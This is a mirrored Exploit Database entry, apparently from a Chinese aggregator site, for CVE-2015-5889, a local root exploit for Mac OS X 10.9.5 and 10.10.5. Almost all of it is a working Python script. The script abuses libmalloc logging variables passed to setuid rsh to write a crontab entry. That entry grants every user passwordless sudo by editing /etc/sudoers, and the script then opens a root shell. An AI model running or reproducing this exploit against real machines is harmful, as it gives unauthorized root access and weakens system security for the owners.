Apple Mac OSX 10.9.5/10.10.5 – ‘rsh/libmalloc’ Local Privilege Escalation

• Exploit Database
• 16 阅读

• 作者： rebel
  日期： 2015-10-01
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/38371/

• # CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
  # tested on osx 10.9.5 / 10.10.5
  # jul/2015
  # by rebel
  
  import os,time,sys
  
  env = {}
  
  s = os.stat("/etc/sudoers").st_size
  
  env['MallocLogFile'] = '/etc/crontab'
  env['MallocStackLogging'] = 'yes'
  env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'
  
  sys.stderr.write("creating /etc/crontab..")
  
  p = os.fork()
  if p == 0:	
  	os.close(1)
  	os.close(2)
  	os.execve("/usr/bin/rsh",["rsh","localhost"],env)
  
  time.sleep(1)
  
  if "NOPASSWD" not in open("/etc/crontab").read():
  	sys.stderr.write("failed\n")
  	sys.exit(-1)
  
  sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")
  
  while os.stat("/etc/sudoers").st_size == s:
  	sys.stderr.write(".")	
  	time.sleep(1)
  
  sys.stderr.write("\ndone\n")
  
  os.system("sudo su")